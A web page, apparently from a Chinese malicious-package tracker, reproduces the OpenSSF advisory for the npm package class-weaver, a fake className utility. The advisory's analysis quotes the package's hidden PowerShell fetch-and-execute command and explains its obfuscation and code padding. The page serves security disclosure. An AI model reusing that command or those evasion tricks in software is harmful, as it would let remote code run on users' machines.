目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

class-weaver

MAL-2026-4521
2026-07-14 06:01:51
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in class-weaver (npm)

凭据/密钥窃取文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
4
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmclass-weaver*
npmclass-weaver1.0.0
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-14T06:01:51Z","published":"2026-05-24T17:19:48Z","schema_version":"1.7.4","id":"MAL-2026-4521","aliases":["GHSA-jx4m-wmh7-wmhr"],"summary":"Malicious code in class-weaver (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7)\nclass-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments [\"-WindowStyle\",\"Hidden\",\"-NoProfile\",\"-Command\",`irm ${URL} -o $env:TEMP\\s.js; node $env:TEMP\\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation ([\"no\",\"de\",\":\",\"cry\",\"pto\"].join(\"\")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.\n\n## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"class-weaver"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["1.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"e8113412636bd5c602bc9cdd9f4f989947d8271899da7963a0411830b966f1ad","tlsh":"e9c3ffcab1a23132d32b686048bf018bf377dda0177e4481d159a2adb63441ea5b7f7d"},{"path":"package.json","sha256":"4076522fd429820e15a31aacb63a9da52ef0ee42efce4033fb65adcf5acca6db","tlsh":"6df049308520482307d916a3aca81643aaa28e2f5644bc0877df902c4b9e6ab05fe77d"}],"package_integrity":[{"filename":"class-weaver-1.0.0.tgz","hashes":{"sha1":"e335c1c4484af41ebc912033a1cd56226ceb3802","sha512_sri":"sha512-G0mp4Dn/Y4gq738oqMvel8ozEu/C2FXFHx5ZqIV7F9d20S00vtKWhtuOrfJzYopbmYQcbjZSb+6Uxta41ifO6Q=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/class-weaver/v/1.0.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jx4m-wmh7-wmhr"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["actran@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7","import_time":"2026-05-26T05:52:46.062321102Z","id":"IN-MAL-2026-004521","modified_time":"2026-05-24T17:19:48Z","versions":["1.0.0"]},{"source":"ghsa-malware","sha256":"5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704","import_time":"2026-07-14T05:59:59.669462857Z","id":"GHSA-jx4m-wmh7-wmhr","modified_time":"2026-07-14T05:13:19Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0